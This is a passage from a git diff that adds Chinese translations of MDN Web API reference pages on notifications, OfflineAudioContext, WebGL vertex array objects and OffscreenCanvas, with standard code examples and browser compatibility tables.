  3. 其他情况下会收到一条系统消息。
  4. +
+ +

参考 这个代码片段 作为例子,展示了如何处理。

+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('Web Notifications')}}{{Spec2('Web Notifications')}}Initial specification.
+ +

浏览器兼容性

+ +

{{page("/zh-CN/Web/API/Notification",".E6.B5.8F.E8.A7.88.E5.99.A8.E5.85.BC.E5.AE.B9.E6.80.A7")}}

+ +

参考

+ + diff --git a/files/zh-cn/web/api/notificationevent/index.html b/files/zh-cn/web/api/notificationevent/index.html new file mode 100644 index 0000000000..b14747d407 --- /dev/null +++ b/files/zh-cn/web/api/notificationevent/index.html @@ -0,0 +1,92 @@ +--- +title: NotificationEvent +slug: Web/API/NotificationEvent +translation_of: Web/API/NotificationEvent +--- +

{{APIRef("Web Notifications")}}

+ +

传递给 {{domxref("ServiceWorkerGlobalScope.onnotificationclick", "onnotificationclick")}} 处理程序的参数的NotificationEvent接口,该接口表示通知单击事件,该事件在 {{domxref("ServiceWorkerGlobalScope")}} ,{{domxref("ServiceWorker")}} 。

+ +

该接口继承自{{domxref("ExtendableEvent")}}接口。

+ +

建设者

+ +
+
{{domxref("NotificationEvent.NotificationEvent","NotificationEvent()")}}
+
创建一个新NotificationEvent对象。
+
+ +

物产

+ +

从其祖先{{domxref("Event")}}继承属性

+ +
+
{{domxref("NotificationEvent.notification")}} {{readonlyInline}}
+
返回一个{{domxref("Notification")}}对象,该对象表示单击以触发事件的通知。
+
{{domxref("NotificationEvent.action")}} {{readonlyinline}}
+
返回用户单击的通知按钮的字符串ID。如果用户在除操作按钮之外的其他位置单击了通知,或者该通知没有按钮,则此值返回一个空字符串。
+
+ +

方法

+ +

从其父项{{domxref("ExtendableEvent")}}继承方法

+ +
+
{{domxref("ExtendableEvent.waitUntil", "ExtendableEvent.waitUntil()")}}
+
+

延长事件的寿命。告诉浏览器工作正在进行中。

+
+
+ +

+ +
self.addEventListener('notificationclick', function(event) {
+  console.log('On notification click: ', event.notification.tag);
+  event.notification.close();
+
+  // This looks to see if the current is already open and
+  // focuses if it is
+  event.waitUntil(clients.matchAll({
+    type: "window"
+  }).then(function(clientList) {
+    for (var i = 0; i < clientList.length; i++) {
+      var client = clientList[i];
+      if (client.url == '/' && 'focus' in client)
+        return client.focus();
+    }
+    if (clients.openWindow)
+      return clients.openWindow('/');
+  }));
+});
+
+ +

技术指标

+ + + + + + + + + + + + + + + + +
规范状态评论
{{SpecName('Web Notifications','#notificationevent','NotificationEvent')}}{{Spec2('Web Notifications')}}生活水平。
+ +
+

注意:此接口在Notifications API中指定,但是可以通过 {{domxref("ServiceWorkerGlobalScope")}}访问。

+
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.NotificationEvent")}}

+
diff --git a/files/zh-cn/web/api/notifications_api/index.html b/files/zh-cn/web/api/notifications_api/index.html new file mode 100644 index 0000000000..f6e9a1bf7f --- /dev/null +++ b/files/zh-cn/web/api/notifications_api/index.html @@ -0,0 +1,196 @@ +--- +title: Notifications API +slug: Web/API/Notifications_API +tags: + - Notifications API +translation_of: Web/API/Notifications_API +--- +

{{DefaultAPISidebar("Web Notifications")}}

+ +

Notifications API 允许网页控制向最终用户显示系统通知 —这些都在顶级浏览上下文视口之外,因此即使用户已经切换标签页或移动到不同的应用程序,也可以显示。该API被设计成与不同平台上的现有通知系统兼容。

+ +

概念和用法

+ +

在支持该接口的平台上,显示一个系统通知通常涉及两件事。首先,用户需要授予当前源的权限以显示系统通知,这通常在应用或站点初始化时, 使用{{domxref("Notification.requestPermission()")}} 方法来完成。

+ +

这将产生一个请求对话框,沿着以下几行:

+ +


+

+ +

从这里,用户可以选择允许来自此来源的通知,阻止来自此来源的通知,或不选择此点。一旦做出选择,该设置通常将持续用于当前会话。

+ +
+

:从Firefox 44开始, 通知(Notifications) 和推送(Push)的权限已合并。如果为通知授予权限,推送也将启用。

+
+ +

接下来,使用 {{domxref("Notification.Notification","Notification()")}} 构造函数创建一个新通知。这个方法可以传入两个参数。这必须传递一个标题参数,并可以选择性地传递一个选项对象来指定选项,如文本方向,正文,显示图标,通知声音播放, 等等。

+ +

{{AvailableInWorkers}}

+ +

此外, Notifications API 规范对  ServiceWorker API指定了多个添加,以允许 service workers发送通知。

+ +
+

:想了解怎么在你的应用里使用通知接口,请阅读  Using the Notifications API

+
+ +

接口(Notifications interfaces)

+ +
+
{{domxref("Notification")}}
+
定义的通知对象
+
+ +

附加参数(Service worker additions)

+ +
+
{{domxref("ServiceWorkerRegistration")}}
+
该对象包含 {{domxref("ServiceWorkerRegistration.showNotification()")}} 和 {{domxref("ServiceWorkerRegistration.getNotifications()")}} 方法,用于控制通知的显示。
+
{{domxref("ServiceWorkerGlobalScope")}}
+
该对象包含 {{domxref("ServiceWorkerGlobalScope.onnotificationclick")}} 事件处理函数,用于通知被点击的时候触发绑定的事件处理函数。
+
{{domxref("NotificationEvent")}}
+
该对象是功能明确的事件对象,表示一个通知事件被触发了,继承自{{domxref("ExtendableEvent")}}。
+
+ +

官方文档

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Notifications')}}{{Spec2('Web Notifications')}}Living standard
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support5{{property_prefix("webkit")}}[1]
+ 22
{{CompatGeckoDesktop("2.0")}}{{property_prefix("moz")}}[2]
+ {{CompatGeckoDesktop("22.0")}}
{{CompatNo}}256[3]
Available in workers{{CompatUnknown}}{{CompatGeckoDesktop("41.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
Service worker additions +

{{CompatChrome(42.0)}}

+
{{CompatGeckoDesktop("42.0")}}[4]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}} +

{{CompatVersionUnknown}}

+
{{CompatGeckoMobile(2.0)}}{{property_prefix("moz")}}[2]
+ {{CompatGeckoMobile(22.0)}}
1.0.1{{property_prefix("moz")}}[2]
+ 1.2
{{CompatNo}}{{CompatUnknown}}{{CompatNo}} +

{{CompatVersionUnknown}}

+
Available in workers{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile(41.0)}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
Service worker additions{{CompatNo}}{{CompatNo}}{{CompatGeckoMobile(42.0)}}[4]{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(42.0)}}
+
+ +

[1] 在 Chrome 22 之前, 通知接口遵守一个旧版本的提案(an old prefixed version of the specification )使用一个包含前缀符的{{domxref("window.navigator.webkitNotifications","navigator.webkitNotifications")}} 对象来实例化一个通知对象。 在 Chrome 32之前, {{domxref("Notification.permission")}}属性不支持。

+ +

[2] 在 Firefox 22 (Firefox OS <1.2)之前,通知对象的实例化需要使用{{domxref("window.navigator.mozNotification", "navigator.mozNotification")}} 对象的 createNotification() 方法。另外,通知对象需要使用 show() 方法来显示,并且仅支持 click 和 close 事件 (Nick Desaulniers 写了一个通知的兼容解决方法( a Notification shim )来覆盖旧浏览器和现代浏览器。)

+ +

[3] Safari 从Safari 6开始支持通知,但只在 Mac OSX 10.8+ (Mountain Lion)上。

+ +

[4] Firefox 42 has shipped with web notifications from Service Workers disabled.

+ +

Firefox OS permissions

+ +

当你在 Firefox OS app中使用通知时,请确保在manifest文件中添加了desktop-notification 权限 。 Notifications can be used at any permission level, hosted or above:

+ +
"permissions": {
+  "desktop-notification": {}
+}
+ +

See also

+ + diff --git a/files/zh-cn/web/api/notifyaudioavailableevent/index.html b/files/zh-cn/web/api/notifyaudioavailableevent/index.html new file mode 100644 index 0000000000..dc167c822a --- /dev/null +++ b/files/zh-cn/web/api/notifyaudioavailableevent/index.html @@ -0,0 +1,21 @@ +--- +title: NotifyAudioAvailableEvent +slug: Web/API/NotifyAudioAvailableEvent +translation_of: Web/API/NotifyAudioAvailableEvent +--- +

{{APIRef("Web Audio API")}}{{Non-standard_header}}{{Deprecated_header}}

+ +

非标准的、过时的,NotifyAudioAvailableEvent事件接口定义当音频缓冲器满时发送到音频元素的事件。

+ +

 

+ +

属性

+ +
+
+
frameBuffer {{ReadOnlyInline}}
+
{{jsxref("Float32Array")}}包含从解码音频获得的原始32位浮点音频数据(例如,原始数据被发送到音频硬件与编码音频)。数据是一系列音频样本,每个样本每个音频通道包含一个32位值。默认情况下,所有音频帧被标准化为包含1024个样本,但如果用户使用mozFrameBufferLength属性设置了不同长度,则可以是512到16384个样本之间的任何长度。
+
time
+
一个浮点值,代表音频轨道开始后的frameBuffer数组中第一个样本的时间(以秒为单位)。
+
+
diff --git a/files/zh-cn/web/api/oes_vertex_array_object/index.html b/files/zh-cn/web/api/oes_vertex_array_object/index.html new file mode 100644 index 0000000000..3619e76cb4 --- /dev/null +++ b/files/zh-cn/web/api/oes_vertex_array_object/index.html @@ -0,0 +1,96 @@ +--- +title: OES_vertex_array_object +slug: Web/API/OES_vertex_array_object +translation_of: Web/API/OES_vertex_array_object +--- +
{{APIRef("WebGL")}}
+ +

拓展OES_vertex_array_objectWebGL API的一部分,它提供了顶点数组对象 (VAOs) 可以用来封装顶点数组的状态。These objects keep pointers to vertex data and provide names for different sets of vertex data.

+ +

WebGL extensions are available using the {{domxref("WebGLRenderingContext.getExtension()")}} method. 更多详细信息, 参见 Using Extensions in the WebGL tutorial.

+ +
+

Availability: 此拓展只在{{domxref("WebGLRenderingContext", "WebGL1", "", 1)}}中有效。在{{domxref("WebGL2RenderingContext", "WebGL2", "", 1)}}当中, 这些功能可以被直接使用,且去掉了前缀 "OES"。

+
+ +

常量

+ +

这个拓展提供了一个新的常量, 它可以在{{domxref("WebGLRenderingContext.getParameter()", "gl.getParameter()")}} 当中作为一个参数传递:

+ +
+
ext.VERTEX_ARRAY_BINDING_OES
+
当作为{{domxref("WebGLRenderingContext.getParameter()", "gl.getParameter()")}}中的pname参数传递时,返回一个{{domxref("WebGLVertexArrayObject")}} 对象 。
+
+ +

函数

+ +

这个拓展提供了四个新的函数。

+ +
+
{{domxref("OES_vertex_array_object.createVertexArrayOES()", "ext.createVertexArrayOES()")}}
+
+

创建一个新的 {{domxref("WebGLVertexArrayObject")}}。

+
+
{{domxref("OES_vertex_array_object.deleteVertexArrayOES()", "ext.deleteVertexArrayOES()")}}
+
+

删除一个给定的 {{domxref("WebGLVertexArrayObject")}}。

+
+
{{domxref("OES_vertex_array_object.isVertexArrayOES()", "ext.isVertexArrayOES()")}}
+
+

如果参数是一个 {{domxref("WebGLVertexArrayObject")}}则返回 true 。

+
+
{{domxref("OES_vertex_array_object.bindVertexArrayOES()", "ext.bindVertexArrayOES()")}}
+
+

绑定一个给定的{{domxref("WebGLVertexArrayObject")}}到缓冲区。

+
+
+ +

Examples

+ +
var oes_vao_ext = gl.getExtension('OES_vertex_array_object');
+var vao = oes_vao_ext.createVertexArrayOES();
+oes_vao_ext.bindVertexArrayOES(vao);
+
+// ...
+// calls to bindBuffer or vertexAttribPointer
+// which will be "recorded" in the VAO
+// ...
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('OES_vertex_array_object', '', 'OES_vertex_array_object')}}{{Spec2('OES_vertex_array_object')}}Initial definition.
+ +

Browser compatibility

+ + + +

{{Compat("api.OES_vertex_array_object")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/offlineaudiocontext/complete/index.html b/files/zh-cn/web/api/offlineaudiocontext/complete/index.html new file mode 100644 index 0000000000..74bdb5f3ff --- /dev/null +++ b/files/zh-cn/web/api/offlineaudiocontext/complete/index.html @@ -0,0 +1,81 @@ +--- +title: 'OfflineAudioContext: complete event' +slug: Web/API/OfflineAudioContext/complete +translation_of: Web/API/OfflineAudioContext/complete_event +--- +

{{DefaultAPISidebar("Web Audio API")}}

+ +

complete当离线音频上下文的呈现完成时,将触发{{domxref("OfflineAudioContext")}}接口事件。

+ + + + + + + + + + + + + + + + + + + + + + + + +
泡泡没有
取消没有
默认操作没有
接口{{domxref( "OfflineAudioCompletionEvent")}}
事件处理程序属性{{domxref( "OfflineAudioContext.oncomplete")}}
+ +

例子

+ +

处理完成后,您可能希望使用oncomplete处理程序提示用户现在可以播放音频,并启用播放按钮:

+ +
offlineAudioCtx.addEventListener('complete',()=> {
+  console.log('Offline audio processing now complete');
+  showModalDialog('Song processed and ready to play');
+  playBtn.disabled = false;
+})
+ +

You can also set up the event handler using the {{domxref("OfflineAudioContext.oncomplete")}} property:

+ +
offlineAudioCtx.oncomplete = function() {
+  console.log('Offline audio processing now complete');
+  showModalDialog('Song processed and ready to play');
+  playBtn.disabled = false;
+}
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#OfflineAudioCompletionEvent-section', 'OfflineAudioCompletionEvent')}}{{Spec2('Web Audio API')}} 
+ +

Browser compatibility

+ + + +

{{Compat("api.OfflineAudioContext.complete_event")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/offlineaudiocontext/index.html b/files/zh-cn/web/api/offlineaudiocontext/index.html new file mode 100644 index 0000000000..4f7a869dd2 --- /dev/null +++ b/files/zh-cn/web/api/offlineaudiocontext/index.html @@ -0,0 +1,250 @@ +--- +title: OfflineAudioContext +slug: Web/API/OfflineAudioContext +translation_of: Web/API/OfflineAudioContext +--- +
{{APIRef("Web Audio API")}}
+ +

OfflineAudioContext 接口是一个 {{domxref("AudioContext")}} 的接口,代表由多个 {{domxref("AudioNode")}} 连接在一起构成的音频处理图。与 {{domxref("AudioContext")}} 标准相反的是, OfflineAudioContext 不在硬件设备渲染音频;相反,它尽可能快地生成音频,输出一个 {{domxref("AudioBuffer")}} 作为结果。

+ +

构造函数

+ +
+
{{domxref("OfflineAudioContext.OfflineAudioContext()")}}
+
创建一个新的 OfflineAudioContext 实例。
+
+ +

属性

+ +

从父级 {{domxref("AudioContext")}} 获取属性。

+ +
+
{{domxref('OfflineAudioContext.length')}} {{readonlyinline}}
+
代表采样帧缓冲区大小的整数。
+
+ +

事件处理程序

+ +
+
{{domxref("OfflineAudioContext.oncomplete")}}
+
当进程完成时,基于事件版本的{{domxref("OfflineAudioContext.startRendering()")}} 被使用之后,{{domxref("EventHandler")}} 将会被调用,{{event("complete")}} 事件类型为 {{domxref("OfflineAudioCompletionEvent")}})被触发。
+
+ +

方法

+ +

从父级 {{domxref("AudioContext")}} 和 {{domxref("EventTarget")}} 获取方法的实现。

+ +
+
{{domxref("OfflineAudioContext.resume()")}}
+
恢复一个被暂停的音频的时间进程。
+
{{domxref("OfflineAudioContext.suspend()")}}
+
在指定的时间安排音频暂停时间进程,并且通过 Promise 返回。
+
{{domxref("OfflineAudioContext.startRendering()")}}
+
开始渲染音频,考虑当前连接和当前计划的修改。这个页面涵盖基于事件的和基于 Promise 的版本。
+
+ +

例子

+ +

这个简单的例子中,我们声明了 {{domxref("AudioContext")}} 和 OfflineAudioContext 对象。我们使用 AudioContext 去加载一个 XHR ({{domxref("AudioContext.decodeAudioData")}})获取的音轨,然后使用 OfflineAudioContext 去渲染音频并得到一个 into an {{domxref("AudioBufferSourceNode")}},并播放这个音轨。在离线音频处理图建立后,你需要去使用 {{domxref("OfflineAudioContext.startRendering")}} 来渲染它成为 {{domxref("AudioBuffer")}}。

+ +

当 startRendering() 的 Promise 解决后,渲染也完成了,在 Promise 内可以获得输出的 AudioBuffer。

+ +

在此刻,我们创建了一个另外的音频上下文,在它里面创建了一个 {{domxref("AudioBufferSourceNode")}},并且设置它的 buffer 为之前生成的 Promise 中的 AudioBuffer。这样它就可以作为简单标准音频图来播放了

+ +
+

注意: 为了获取可以运行的例子,请看我们在 Github 的仓库 offline-audio-context-promise (也可以看到 源代码。)

+
+ +
// 定义一个在线或者离线的音频上下文
+
+var audioCtx = new AudioContext();
+var offlineCtx = new OfflineAudioContext(2,44100*40,44100);
+
+source = offlineCtx.createBufferSource();
+
+// 使用 XHR 去加载一个音轨,
+// 使用 decodeAudioData 去解码,
+// 使用 OfflineAudioContext 去渲染它
+
+function getData() {
+  request = new XMLHttpRequest();
+
+  request.open('GET', 'viper.ogg', true);
+
+  request.responseType = 'arraybuffer';
+
+  request.onload = function() {
+    var audioData = request.response;
+
+    audioCtx.decodeAudioData(audioData, function(buffer) {
+      myBuffer = buffer;
+      source.buffer = myBuffer;
+      source.connect(offlineCtx.destination);
+      source.start();
+      //source.loop = true;
+      offlineCtx.startRendering().then(function(renderedBuffer) {
+        console.log('渲染完全成功');
+        var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
+        var song = audioCtx.createBufferSource();
+        song.buffer = renderedBuffer;
+
+        song.connect(audioCtx.destination);
+
+        play.onclick = function() {
+          song.start();
+        }
+      }).catch(function(err) {
+          console.log('渲染失败: ' + err);
+          // 注意: 当 OfflineAudioContext 上 startRendering 被立刻调用,Promise 应该被 reject
+      });
+    });
+  }
+
+  request.send();
+}
+
+// 运行 getData 去开始这个进程
+
+getData();
+ +

备注

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#OfflineAudioContext', 'OfflineAudioContext')}}{{Spec2('Web Audio API')}}Initial definition
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(25.0)}}{{CompatNo}}15.0{{property_prefix("webkit")}}
+ 22 (unprefixed)
6.0{{property_prefix("webkit")}}
Promise-based startRendering(){{CompatChrome(42.0)}}{{CompatUnknown}}{{CompatGeckoDesktop(37.0)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
suspend(), resume(){{CompatChrome(49.0)}}{{CompatUnknown}}    
length{{CompatChrome(51.0)}}{{CompatUnknown}}    
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewFirefox Mobile (Gecko)Firefox OSEdgeIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatChrome(33.0)}}26.01.2{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}
Promise-based startRendering(){{CompatChrome(42.0)}}37.02.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(42.0)}}
suspend(), resume(){{CompatChrome(49.0)}}  {{CompatUnknown}}   {{CompatChrome(49.0)}}
length{{CompatChrome(51.0)}}  {{CompatUnknown}}   {{CompatChrome(51.0)}}
+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/offlineaudiocontext/length/index.html b/files/zh-cn/web/api/offlineaudiocontext/length/index.html new file mode 100644 index 0000000000..86bfdb3a14 --- /dev/null +++ b/files/zh-cn/web/api/offlineaudiocontext/length/index.html @@ -0,0 +1,89 @@ +--- +title: OfflineAudoContext.length +slug: Web/API/OfflineAudioContext/length +translation_of: Web/API/OfflineAudioContext/length +--- +

{{SeeCompatTable}}{{ APIRef("Web Audio API") }}

+ +

{{domxref("OfflineAudioContext")}} 接口的 length 属性返回一个代表采样帧的缓冲区大小的整数。

+ +

语法

+ +
var length = OfflineAudioContext.length;
+ +

+ +

一个代表采样帧的缓冲区大小的整数。

+ +

标准

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API','#widl-OfflineAudioContext-length','length')}}{{Spec2('Web Audio API')}}Initial definition.
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(51.0)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatChrome(51.0)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(51.0)}}
+
diff --git a/files/zh-cn/web/api/offlineaudiocontext/offlineaudiocontext/index.html b/files/zh-cn/web/api/offlineaudiocontext/offlineaudiocontext/index.html new file mode 100644 index 0000000000..e811ad5188 --- /dev/null +++ b/files/zh-cn/web/api/offlineaudiocontext/offlineaudiocontext/index.html @@ -0,0 +1,120 @@ +--- +title: OfflineAudioContext.OfflineAudioContext() +slug: Web/API/OfflineAudioContext/OfflineAudioContext +translation_of: Web/API/OfflineAudioContext/OfflineAudioContext +--- +

{{APIRef("Web Audio API")}}

+ +

OfflineAudioContext() 构造函数创建一个新的 {{domxref("OfflineAudioContext")}} 对象实例。

+ +

语法

+ +
var myOfflineAudio = new OfflineAudioContext(numOfChannels,length,sampleRate);
+ +

参数

+ +
+
numOfChannels
+
An integer 代表该缓冲区拥有的声道的数目。该实现需要支持至少32个声道。
+
length
+
代表采样帧缓冲区的大小的整数。
+
sampleRate
+
采样帧每一秒的线性音频数据的采样率。该实现必须支持在 22050 到 96000 之间的采样率,44100 是最经常用到的采样率。
+
+ +

这里有个重要的警告,你可以通过不带参数的使用 new AudioContext() 构造函数创建一个新的 {{domxref("AudioContext")}},但是 OfflineAudioContext() 构造函数必须带上三个参数。当你通过 {{domxref("AudioContext.createBuffer")}} 方法创建一个新的{{domxref("AudioBuffer")}} 时,你也是需要做一样的事情。想要知道更多信息,请阅读我们的基本概念指南的 音频片段:帧,样本和声道

+ +
+

注意:像普通的 AudioContextOfflineAudioContext 可以成为事件的目标,因此它的实现是 {{domxref("EventTarget")}} 接口。

+
+ +

例子

+ +
// 定义一个在线或者离线的音频上下文
+
+var audioCtx = new AudioContext();
+var offlineCtx = new OfflineAudioContext(2,44100*40,44100);
+
+source = offlineCtx.createBufferSource();
+
+// 更多代码...
+
+ +
+

注意: 想要获取完整的例子,请看我们在 Github 仓库的 offline-audio-context-promise (也可以看 源代码 )

+
+ +

标准

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API','#OfflineAudioContext','OfflineAudioContext')}}{{Spec2('Web Audio API')}} 
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}}
+  
{{CompatVersionUnknown}}{{ CompatNo }} +

{{CompatVersionUnknown}}

+
{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)IE PhoneOpera MobileSafari MobileChrome for Android
Basic support{{ CompatNo }}{{CompatVersionUnknown}}
+  
{{CompatVersionUnknown}}{{ CompatNo }}{{CompatVersionUnknown}}{{ CompatNo }}{{CompatVersionUnknown}}
+
diff --git a/files/zh-cn/web/api/offlineaudiocontext/suspend/index.html b/files/zh-cn/web/api/offlineaudiocontext/suspend/index.html new file mode 100644 index 0000000000..26b475b126 --- /dev/null +++ b/files/zh-cn/web/api/offlineaudiocontext/suspend/index.html @@ -0,0 +1,111 @@ +--- +title: suspend +slug: Web/API/OfflineAudioContext/suspend +translation_of: Web/API/OfflineAudioContext/suspend +--- +

{{ APIRef("Web Audio API") }}

+ +

The suspend() method of the {{ domxref("OfflineAudioContext") }} interface schedules a suspension of the time progression in the audio context at the specified time and returns a promise. This is generally useful at the time of manipulating the audio graph synchronously on OfflineAudioContext.

+ +

Note that the maximum precision of suspension is the size of the render quantum and the specified suspension time will be rounded down to the nearest render quantum boundary. For this reason, it is not allowed to schedule multiple suspends at the same quantized frame. Also scheduling should be done while the context is not running to ensure the precise suspension.

+ +

语法

+ +
OfflineAudioContext.suspend(suspendTime).then(function() { ... });
+ +

参数

+ +
+
暂停时间
+
A {{jsxref("double")}} 指定暂停的时间.
+
+ +

返回值

+ +

A {{jsxref("Promise")}} resolving to void.

+ +

异常

+ +

发生任何异常,promise就会拒绝.

+ +

如果帧数出现下列情况,就会抛出错误{{exception("InvalidStateError")}}:

+ + + +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-OfflineAudioContext-suspend-Promise-void--double-suspendTime', 'suspend()')}}{{Spec2('Web Audio API')}}Initial definition.
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(49.0)}}    
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatChrome(49.0)}}     {{CompatChrome(49.0)}}
+
diff --git a/files/zh-cn/web/api/offscreencanvas/height/index.html b/files/zh-cn/web/api/offscreencanvas/height/index.html new file mode 100644 index 0000000000..2a221d696a --- /dev/null +++ b/files/zh-cn/web/api/offscreencanvas/height/index.html @@ -0,0 +1,56 @@ +--- +title: OffscreenCanvas.height +slug: Web/API/OffscreenCanvas/height +translation_of: Web/API/OffscreenCanvas/height +--- +
{{APIRef("Canvas API")}} {{SeeCompatTable}}
+ +

设置或者获取{{domxref("OffscreenCanvas")}} 对象的高度.

+ +

语法

+ +
var pxl = offscreen.height;
+offscreen.height = pxl;
+ +
+
+ +

例子

+ +

创建一个新的离屏 canvas,获取或者设置离屏 canvas 的高度:

+ +
var offscreen = new OffscreenCanvas(256, 256);
+offscreen.height; // 256
+offscreen.height = 512;
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "#dom-offscreencanvas-height", "OffscreenCanvas.height")}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.OffscreenCanvas.height")}}

+
+ +

另外参阅

+ + diff --git a/files/zh-cn/web/api/offscreencanvas/index.html b/files/zh-cn/web/api/offscreencanvas/index.html new file mode 100644 index 0000000000..62a1869f98 --- /dev/null +++ b/files/zh-cn/web/api/offscreencanvas/index.html @@ -0,0 +1,172 @@ +--- +title: OffscreenCanvas +slug: Web/API/OffscreenCanvas +tags: + - API + - Canvas + - Experimental + - Interface + - Reference +translation_of: Web/API/OffscreenCanvas +--- +
{{APIRef("Canvas API")}} {{SeeCompatTable}}
+ +

OffscreenCanvas提供了一个可以脱离屏幕渲染的canvas对象。它在窗口环境和web worker环境均有效。

+ +

构造函数

+ +
+
{{domxref("OffscreenCanvas.OffscreenCanvas", "OffscreenCanvas()")}}
+
OffscreenCanvas构造函数。创建一个新的OffscreenCanvas对象。
+
+ +

属性

+ +
+
{{domxref("OffscreenCanvas.height")}}
+
offscreen canvas对象的高度。
+
{{domxref("OffscreenCanvas.width")}}
+
offscreen canvas对象的宽度。
+
+ +

方法

+ +
+
{{domxref("OffscreenCanvas.getContext()")}}
+
为offscreen canvas对象返回一个渲染画布。
+
+ +
+
{{domxref("OffscreenCanvas.toBlob()")}}
+
创建一个代表canvas中的图像的{{domxref("Blob")}}对象。
+
+ +
+
{{domxref("OffscreenCanvas.transferToImageBitmap()")}}
+
OffscreenCanvas最近渲染的图像创建一个 {{domxref("ImageBitmap")}} 对象。
+
+ +

例子

+ +

同步显示OffscreenCanvas中的帧

+ +

一种方式是使用OffscreenCanvas API,也就是用已经包含OffscreenCanvas对象的{{domxref("RenderingContext")}} 来生成新的帧。 每次一个新的帧在画布中完成渲染,{{domxref("OffscreenCanvas.transferToImageBitmap", "transferToImageBitmap()")}} 方法都会被调用来保存最近渲染的图像。该方法返回一个{{domxref("ImageBitmap")}}对象,该对象可以被用在各种Web APIs中,也可以用在下一个canvas中,并且不需要转换备份。

+ +

为了显示ImageBitmap,你可以用{{domxref("ImageBitmapRenderingContext")}}上下文,通过一个canvas(可见的)元素调用canvas.getContext("bitmaprenderer")方法来创建它。该上下文只提供用ImageBitmap替换canvas的内容的功能。调用{{domxref("ImageBitmapRenderingContext.transferFromImageBitmap()")}} 以前的渲染结果并且通过OffscreenCanvas保存ImageBitmap,会在canvas里显示ImageBitmap并且转换其所有权到canvas。 一个单独的OffscreenCanvas可以将帧转换到任意数量的其他ImageBitmapRenderingContext对象。

+ +

提供两个 {{HTMLElement("canvas")}} 元素

+ +
<canvas id="one"></canvas>
+<canvas id="two"></canvas>
+ +

下面的代码会用OffscreenCanva提供渲染结果,就像上面描述的一样。

+ +
var one = document.getElementById("one").getContext("bitmaprenderer");
+var two = document.getElementById("two").getContext("bitmaprenderer");
+
+var offscreen = new OffscreenCanvas(256, 256);
+var gl = offscreen.getContext('webgl');
+
+// ... some drawing for the first canvas using the gl context ...
+
+// Commit rendering to the first canvas
+var bitmapOne = offscreen.transferToImageBitmap();
+one.transferFromImageBitmap(bitmapOne);
+
+// ... some more drawing for the second canvas using the gl context ...
+
+// Commit rendering to the second canvas
+var bitmapTwo = offscreen.transferToImageBitmap();
+two.transferFromImageBitmap(bitmapTwo);
+
+ +

